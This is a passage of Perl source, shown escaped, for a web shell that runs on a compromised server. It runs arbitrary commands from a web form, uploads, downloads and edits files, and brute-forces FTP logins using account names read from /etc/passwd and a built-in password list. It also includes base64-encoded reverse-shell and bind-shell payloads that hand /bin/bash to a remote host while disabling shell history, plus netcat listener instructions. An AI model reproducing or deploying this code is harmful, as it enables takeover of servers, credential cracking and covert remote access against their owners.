didn't match\n\t{\n\t\t&PrintPageHeader(\"p\");\n\t\t&PrintLoginScreen;\n\t\tif(\$LoginPassword ne \"\") # some password was entered\n\t\t{\n\t\t\t&PrintLoginFailedMessage;\n\n\t\t}\n\t\t&PrintLoginForm;\n\t\t&PrintPageFooter;\n\t\texit;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to enter commands\n#------------------------------------------------------------------------------\nsub PrintCommandLineInputForm\n{\n\tmy \$dir= \"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"command\").\"</span>\";\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#66ff66'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"command\">\n\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\$Prompt\n<input type=\"text\" size=\"50\" name=\"c\">\n<input class=\"submit\"type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to download files\n#------------------------------------------------------------------------------\nsub PrintFileDownloadForm\n{\n\tmy \$dir = &AddLinkDir(\"download\"); \n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"download\">\n\$Prompt download<br><br>\nFilename: <input class=\"file\" type=\"text\" name=\"f\" size=\"35\"><br><br>\nDownload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\n\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to upload files\n#------------------------------------------------------------------------------\nsub PrintFileUploadForm\n{\n\tmy \$dir= &AddLinkDir(\"upload\");\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\n\$Prompt upload<br><br>\nFilename: <input class=\"file\" type=\"file\" name=\"f\" size=\"35\"><br><br>\nOptions: &nbsp;<input type=\"checkbox\" name=\"o\" id=\"up\" value=\"overwrite\">\n<label for=\"up\">Overwrite if it Exists</label><br><br>\nUpload:&nbsp;&nbsp;&nbsp;<input class=\"submit\" type=\"submit\" value=\"Begin\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input class=\"submit\" type=\"hidden\" name=\"a\" value=\"upload\">\n\n</form>\n\nEND\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the timeout for a command expires. We need to\n# terminate the script immediately. This function is valid only on Unix. It is\n# never called when the script is running on NT.\n#------------------------------------------------------------------------------\nsub CommandTimeout\n{\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t\treturn <<END;\n</textarea>\n<br><font color=yellow>\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).</font>\n<br><font size='6' color=red>Killed it!</font>\nEND\n\t}\n}\n\n\n\n#------------------------------------------------------------------------------\n# This function displays the page that contains a link which allows the user\n# to download the specified file. The page also contains a auto-refresh\n# feature that starts the download automatically.\n# Argument 1: Fully qualified filename of the file to be downloaded\n#------------------------------------------------------------------------------\nsub PrintDownloadLinkPage\n{\n\tlocal(\$FileUrl) = @_;\n\tmy \$result=\"\";\n\tif(-e \$FileUrl) # if the file exists\n\t{\n\t\t# encode the file link so we can send it to the browser\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\n\t\t&PrintPageHeader(\"c\");\n\t\t\$result .= <<END;\nSending File \$TransferFile...<br>\n\nIf the download does not start automatically,\n<a href=\"\$DownloadLink\">Click Here</a>\nEND\n\t\t\$result .= &PrintCommandLineInputForm;\n\t}\n\telse # file doesn't exist\n\t{\n\t\t\$result .= \"Failed to download \$FileUrl: \$!\";\n\t\t\$result .= &PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function reads the specified file from the disk and sends it to the\n# browser, so that it can be downloaded by the user.\n# Argument 1: Fully qualified pathname of the file to be sent.\n#------------------------------------------------------------------------------\nsub SendFileToBrowser\n{\n\tmy \$result = \"\";\n\tlocal(\$SendFile) = @_;\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tbinmode(SENDFILE);\n\t\t\tbinmode(STDOUT);\n\t\t}\n\t\t\$FileSize = (stat(\$SendFile))[7];\n\t\t(\$Filename = \$SendFile) =~  m!([^/^\\\\]*)\$!;\n\t\tprint \"Content-Type: application/x-unknown\\n\";\n\t\tprint \"Content-Length: \$FileSize\\n\";\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\n\t\tprint while(<SENDFILE>);\n\t\tclose(SENDFILE);\n\t\texit(1);\n\t}\n\telse # failed to open file\n\t{\n\t\t\$result .= \"Failed to download \$SendFile: \$!\";\n\t\t\$result .=&PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called when the user downloads a file. It displays a message\n# to the user and provides a link through which the file can be downloaded.\n# This function is also called when the user clicks on that link. In this case,\n# the file is read and sent to the browser.\n#------------------------------------------------------------------------------\nsub BeginDownload\n{\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to upload a file. If the\n# file is not specified, it displays a form allowing the user to specify a\n# file, otherwise it starts the upload process.\n#------------------------------------------------------------------------------\nsub UploadFile\n{\n\t# if no file is specified, print the upload form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\treturn &PrintFileUploadForm;\n\n\t}\n\tmy \$result=\"\";\n\t# start the uploading process\n\t\$result .= \"Uploading \$TransferFile to \$CurrentDir...<br>\";\n\n\t# get the fullly qualified pathname of the file to be created\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\n\t\$TargetName .= \$PathSep.\$1;\n\n\t\$TargetFileSize = length(\$in{'filedata'});\n\t# if the file exists and we are not supposed to overwrite it\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\n\t{\n\t\t\$result .= \"Failed: Destination file already exists.<br>\";\n\t}\n\telse # file is not present\n\t{\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\n\t\t{\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\n\t\t\tprint UPLOADFILE \$in{'filedata'};\n\t\t\tclose(UPLOADFILE);\n\t\t\t\$result .= \"Transfered \$TargetFileSize Bytes.<br>\";\n\t\t\t\$result .= \"File Path: \$TargetName<br>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$result .= \"Failed: \$!<br>\";\n\t\t}\n\t}\n\t\$result .= &PrintCommandLineInputForm;\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to download a file. If the\n# filename is not specified, it displays a form allowing the user to specify a\n# file, otherwise it displays a message to the user and provides a link\n# through  which the file can be downloaded.\n#------------------------------------------------------------------------------\nsub DownloadFile\n{\n\t# if no file is specified, print the download form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\treturn &PrintFileDownloadForm;\n\t}\n\t\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) | (!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\treturn &SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\treturn &PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called to execute commands. It displays the output of the\n# command and allows the user to enter another command. The change directory\n# command is handled differently. In this case, the new directory is stored in\n# an internal variable and is used each time a command has to be executed. The\n# output of the change directory command is not displayed to the users\n# therefore error messages cannot be displayed.\n#------------------------------------------------------------------------------\nsub ExecuteCommand\n{\n\tmy \$result=\"\";\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\n\t{\n\t\t# we change the directory internally. The output of the\n\t\t# command is not displayed.\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\n\t\tchop(\$CurrentDir = `\$Command`);\n\t\t\$result .= &PrintCommandLineInputForm;\n\n\t\t\$result .= \"Command: <run>\$RunCommand </run><br><textarea cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t# xuat thong tin khi chuyen den 1 thu muc nao do!\n\t\t\$RunCommand= \$WinNT?\"dir\":\"dir -lia\";\n\t\t\$result .= &RunCmd;\n\t}elsif(\$RunCommand =~ m/^\\s*edit\\s+(.+)/)\n\t{\n\t\t\$result .=  &SaveFileForm;\n\t}else\n\t{\n\t\t\$result .= &PrintCommandLineInputForm;\n\t\t\$result .= \"Command: <run>\$RunCommand</run><br><textarea id='data' cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t\$result .=&RunCmd;\n\t}\n\t\$result .=  \"</textarea>\";\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------\n# run command\n#------------------------------------------------------------------------\n\nsub RunCmd\n{\n\tmy \$result=\"\";\n\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\n\tif(!\$WinNT)\n\t{\n\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\n\t\talarm(\$CommandTimeoutDuration);\n\t}\n\tif(\$ShowDynamicOutput) # show output as it is generated\n\t{\n\t\t\$|=1;\n\t\t\$Command .= \" |\";\n\t\topen(CommandOutput, \$Command);\n\t\twhile(<CommandOutput>)\n\t\t{\n\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\n\t\t\t\$result .= &HtmlSpecialChars(\"\$_\\n\");\n\t\t}\n\t\t\$|=0;\n\t}\n\telse # show output after command completes\n\t{\n\t\t\$result .= &HtmlSpecialChars('\$Command');\n\t}\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t}\n\treturn \$result;\n}\n#==============================================================================\n# Form Save File \n#==============================================================================\nsub SaveFileForm\n{\n\tmy \$result =\"\";\n\tsubstr(\$RunCommand,0,5)=\"\";\n\tmy \$file=&trim(\$RunCommand);\n\t\$save='<br><input name=\"a\" type=\"submit\" value=\"save\" class=\"submit\" >';\n\t\$File=\$CurrentDir.\$PathSep.\$RunCommand;\n\tmy \$dir=\"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"gui\").\"</span>\";\n\tif(-w \$File)\n\t{\n\t\t\$rows=\"23\"\n\t}else\n\t{\n\t\t\$msg=\"<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>\";\n\t\t\$rows=\"20\"\n\t}\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\t\$read=(\$WinNT)?\"type\":\"less\";\n\t\$RunCommand = \"\$read \\\"\$RunCommand\\\"\";\n\t\$result .=  <<END;\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\t\$Prompt\n\t<input type=\"text\" size=\"40\" name=\"c\">\n\t<input name=\"s\" class=\"submit\" type=\"submit\" value=\"Enter\">\n\t<br>Command: <run> \$RunCommand </run>\n\t<input type=\"hidden\" name=\"file\" value=\"\$file\" > \$save <br> \$msg\n\t<br><textarea id=\"data\" name=\"data\" cols=\"\$cols\" rows=\"\$rows\" spellcheck=\"false\">\nEND\n\t\n\t\$result .= &RunCmd;\n\t\$result .=  \"</textarea>\";\n\t\$result .=  \"</form>\";\n\treturn \$result;\n}\n#==============================================================================\n# Save File\n#==============================================================================\nsub SaveFile(\$)\n{\n\tmy \$Data= shift ;\n\tmy \$File= shift;\n\t\$File=\$CurrentDir.\$PathSep.\$File;\n\tif(open(FILE, \">\$File\"))\n\t{\n\t\tbinmode FILE;\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\treturn 1;\n\t}else\n\t{\n\t\treturn 0;\n\t}\n}\n#------------------------------------------------------------------------------\n# Brute Forcer Form\n#------------------------------------------------------------------------------\nsub BruteForcerForm\n{\n\tmy \$result=\"\";\n\t\$result .= <<END;\n\n<table>\n\n<tr>\n<td colspan=\"2\" align=\"center\">\n####################################<br>\nSimple FTP brute forcer<br>\n####################################\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"bruteforcer\"/>\n</td>\n</tr>\n<tr>\n<td>User:<br><textarea rows=\"18\" cols=\"30\" name=\"user\">\nEND\nchop(\$result .= `less /etc/passwd | cut -d: -f1`);\n\$result .= <<'END';\n</textarea></td>\n<td>\n\nPass:<br>\n<textarea rows=\"18\" cols=\"30\" name=\"pass\">123pass\n123!@#\n123admin\n123abc\n123456admin\n1234554321\n12344321\npass123\nadmin\nadmincp\nadministrator\nmatkhau\npassadmin\np@ssword\np@ssw0rd\npassword\n123456\n1234567\n12345678\n123456789\n1234567890\n111111\n000000\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999\n123123\n234234\n345345\n456456\n567567\n678678\n789789\n123321\n456654\n654321\n7654321\n87654321\n987654321\n0987654321\nadmin123\nadmin123456\nabcdef\nabcabc\n!@#!@#\n!@#\$%^\n!@#\$%^&*(\n!@#\$\$#@!\nabc123\nanhyeuem\niloveyou</textarea>\n</td>\n</tr>\n<tr>\n<td colspan=\"2\" align=\"center\">\nSleep:<select name=\"sleep\">\n\n<option>0</option>\n<option>1</option>\n<option>2</option>\n\n<option>3</option>\n</select> \n<input type=\"submit\" class=\"submit\" value=\"Brute Forcer\"/></td></tr>\n</form>\n</table>\nEND\nreturn \$result;\n}\n#------------------------------------------------------------------------------\n# Brute Forcer\n#------------------------------------------------------------------------------\nsub BruteForcer\n{\n\tmy \$result=\"\";\n\t\$Server=\$ENV{'SERVER_ADDR'};\n\tif(\$in{'user'} eq \"\")\n\t{\n\t\t\$result .= &BruteForcerForm;\n\t}else\n\t{\n\t\tuse Net::FTP; \n\t\t@user= split(/\\n/, \$in{'user'});\n\t\t@pass= split(/\\n/, \$in{'pass'});\n\t\tchomp(@user);\n\t\tchomp(@pass);\n\t\t\$result .= \"<br><br>[+] Trying brute \$ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\\n\";\n\t\tforeach \$username (@user)\n\t\t{\n\t\t\tif(!(\$username eq \"\"))\n\t\t\t{\n\t\t\t\tforeach \$password (@pass)\n\t\t\t\t{\n\t\t\t\t\t\$ftp = Net::FTP->new(\$Server) or die \"Could not connect to \$ServerName\\n\"; \n\t\t\t\t\tif(\$ftp->login(\"\$username\",\"\$password\"))\n\t\t\t\t\t{\n\t\t\t\t\t\t\$result .= \"<a target='_blank' href='ftp://\$username:\$password\\@\$Server'>[+] ftp://\$username:\$password\\@\$Server</a><br>\\n\";\n\t\t\t\t\t\t\$ftp->quit();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tif(!(\$in{'sleep'} eq \"0\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tsleep(int(\$in{'sleep'}));\n\t\t\t\t\t}\n\t\t\t\t\t\$ftp->quit();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\$result .= \"\\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\\n\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Backconnect Form\n#------------------------------------------------------------------------------\nsub BackBindForm\n{\n\treturn <<END;\n\t<br><br>\n\n\t<table>\n\t<tr>\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>BackConnect: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\t<td> Host: <input type=\"text\" size=\"20\" name=\"clientaddr\" value=\"\$ENV{'REMOTE_ADDR'}\">\n\t Port: <input type=\"text\" size=\"7\" name=\"clientport\" value=\"80\" onkeyup=\"document.getElementById('ba').innerHTML=this.value;\"></td>\n\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Connect\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!\n\t<br>[+] Try check your Port with <a target=\"_blank\" href=\"http://www.canyouseeme.org/\">http://www.canyouseeme.org/</a>\n\t<br>[+] Client listen with command: <run>nc -vv -l -p <span id=\"ba\">80</span></run></font></td>\n\n\t</tr>\n\t</table>\n\n\t<br><br>\n\t<table>\n\t<tr>\n\t<form method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>Bind Port: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\n\t<td> Port: <input type=\"text\" size=\"15\" name=\"clientport\" value=\"1412\" onkeyup=\"document.getElementById('bi').innerHTML=this.value;\">\n\n\t Password: <input type=\"text\" size=\"15\" name=\"bindpass\" value=\"THIEUGIABUON\"></td>\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Bind\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!\n\t<br>[+] Try command: <run>nc \$ENV{'SERVER_ADDR'} <span id=\"bi\">1412</span></run></font></td>\n\n\t</tr>\n\t</table><br>\nEND\n}\n#------------------------------------------------------------------------------\n# Backconnect use perl\n#------------------------------------------------------------------------------\nsub BackBind\n{\n\tuse MIME::Base64;\n\tuse Socket;\t\n\t\$backperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7\";\n\t\$bindperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=\";\n\n\t\$ClientAddr = \$in{'clientaddr'};\n\t\$ClientPort = int(\$in{'clientport'});\n\tif(\$ClientPort eq 0)\n\t{\n\t\treturn &BackBindForm;\n\t}elsif(!\$ClientAddr eq \"\")\n\t{\n\t\t\$Data=decode_base64(\$backperl);\n\t\tif(-w \"/tmp/\")\n\t\t{\n\t\t\t\$File=\"/tmp/backconnect.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"backconnect.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl backconnect.pl \$ClientAddr \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}else\n\t{\n\t\t\$Data=decode_base64(\$bindperl);\n\t\tif(-w \"/tmp\")\n\t\t{\n\t\t\t\$File=\"/tmp/bindport.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"bindport.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl bindport.pl \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}\n}\n#------------------------------------------------------------------------------\n#  Array List Directory\n#------------------------------------------------------------------------------\nsub RmDir(\$) \n{\n\tmy \$dir = shift;\n    if(opendir(DIR,\$dir))\n\t{\n\t\twhile(\$file = readdir(DIR))\n\t\t{\n\t\t\tif((\$file ne \".\") && (\$file ne \"..\"))\n\t\t\t{\n\t\t\t\t\$file= \$dir.\$PathSep.\$file;\n\t\t\t\tif(-d \$file)\n\t\t\t\t{\n\t\t\t\t\t&RmDir(\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tunlink(\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tclosedir(DIR);\n\t}\n\tif(!rmdir(\$dir))\n\t{\n\t\t\n\t}\n}\nsub FileOwner(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$uid,\$gid) = (stat(\$file))[4,5];\n\t\tif(\$WinNT)\n\t\t{\n\t\t\treturn \"???\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$name=getpwuid(\$uid);\n\t\t\t\$group=getgrgid(\$gid);\n\t\t\treturn \$name.\"/\".\$group;\n\t\t}\n\t}\n\treturn \"???\";\n}\nsub ParentFolder(\$)\n{\n\tmy \$path = shift;\n\tmy \$Comm = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd ..\".\$CmdSep.\$CmdPwd;\n\tchop(\$path = `\$Comm`);\n\treturn \$path;\n}\nsub FilePerms(\$)\n{\n\tmy \$file = shift;\n\tmy \$ur = \"-\";\n\tmy \$uw = \"-\";\n\tif(-e \$file)\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tif(-r \$file){ \$ur = \"r\"; }\n\t\t\tif(-w \$file){ \$uw = \"w\"; }\n\t\t\treturn \$ur . \" / \" . \$uw;\n\t\t}else\n\t\t{\n\t\t\t\$mode=(stat(\$file))[2];\n\t\t\t\$result = sprintf(\"%04o\", \$mode & 07777);\n\t\t\treturn \$result;\n\t\t}\n\t}\n\treturn \"0000\";\n}\nsub FileLastModified(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$la) = (stat(\$file))[9];\n\t\t(\$d,\$m,\$y,\$h,\$i) = (localtime(\$la))[3,4,5,2,1];\n\t\t\$y = \$y + 1900;\n\t\t@month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;\n\t\t\$lmtime = sprintf(\"%02d/%s/%4d %02d:%02d\",\$d,\$month[\$m],\$y,\$h,\$i);\n\t\treturn \$lmtime;\n\t}\n\treturn \"???\";\n}\nsub FileSize(\$)\n{\n\tmy \$file = shift;\n\tif(-f \$file)\n\t{\n\t\treturn -s \$file;\n\t}\n\treturn \"0\";\n\n}\nsub ParseFileSize(\$)\n{\n\tmy \$size = shift;\n\tif(\$size <= 1024)\n\t{\n\t\treturn \$size. \" B\";\n\t}\n\telse\n\t{\n\t\tif(\$size <= 1024*1024) \n\t\t{\n\t\t\t\$size = sprintf(\"%.02f\",\$size / 1024);\n\t\t\treturn \$size.\" KB\";\n\t\t}\n\t\telse \n\t\t{\n\t\t\t\$size = sprintf(\"%.2f\",\$size / 1024 / 1024);\n\t\t\treturn \$size.\" MB\";\n\t\t}\n\t}\n}\nsub trim(\$)\n{\n\tmy \$string = shift;\n\t\$string =~ s/^\\s+//;\n\t\$string =~ s/\\s+\$//;\n\treturn \$string;\n}\nsub AddSlashes(\$)\n{\n\tmy \$string = shift;\n\t\$string=~ s/\\\\/\\\\\\\\/g;\n\treturn \$string;\n}\nsub ListDir\n{\n\tmy \$path = \$CurrentDir.\$PathSep;\n\t\$path=~ s/\\\\\\\\/\\\\/g;\n\tmy \$result = \"<form name='f' action='\$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ \".&AddLinkDir(\"gui\").\" ] </span><input type='text' name='d' size='40' value='\$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>\";\n\tif(-d \$path)\n\t{\n\t\tmy @fname = ();\n\t\tmy @dname = ();\n\t\tif(opendir(DIR,\$path))\n\t\t{\n\t\t\twhile(\$file = readdir(DIR))\n\t\t\t{\n\t\t\t\t\$f=\$path.\$file;\n\t\t\t\tif(-d \$f)\n\t\t\t\t{\n\t\t\t\t\tpush(@dname,\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tpush(@fname,\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir(DIR);\n\t\t}\n\t\t@fname = sort { lc(\$a) cmp lc(\$b) } @fname;\n\t\t@dname = sort { lc(\$a) cmp lc(\$b) } @dname;\n\t\t\$result .= \"<div><table width='90%' class='listdir'>\n\n\t\t<tr style='background-color: #3e3e3e'><th>File Name</th>\n\t\t<th style='width:100px;'>File Size</th>\n\t\t<th style='width:150px;'>Owner</th>\n\t\t<th style='width:100px;'>Permission</th>\n\t\t<th style='width:150px;'>Last Modified</th>\n\t\t<th style='width:260px;'>Action</th></tr>\";\n\t\tmy \$style=\"line\";\n\t\tmy \$i=0;\n\t\tforeach my \$d (@dname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$d = &trim(\$d);\n\t\t\t\$dirname=\$d;\n\t\t\tif(\$d eq \"..\") \n\t\t\t{\n\t\t\t\t\$d = &ParentFolder(\$path);\n\t\t\t}\n\t\t\telsif(\$d eq \".\") \n\t\t\t{\n\t\t\t\t\$d = \$path;\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t\$d = \$path.\$d;\n\t\t\t}\n\t\t\t\$result .= \"<tr class='\$style'>\n\n\t\t\t<td 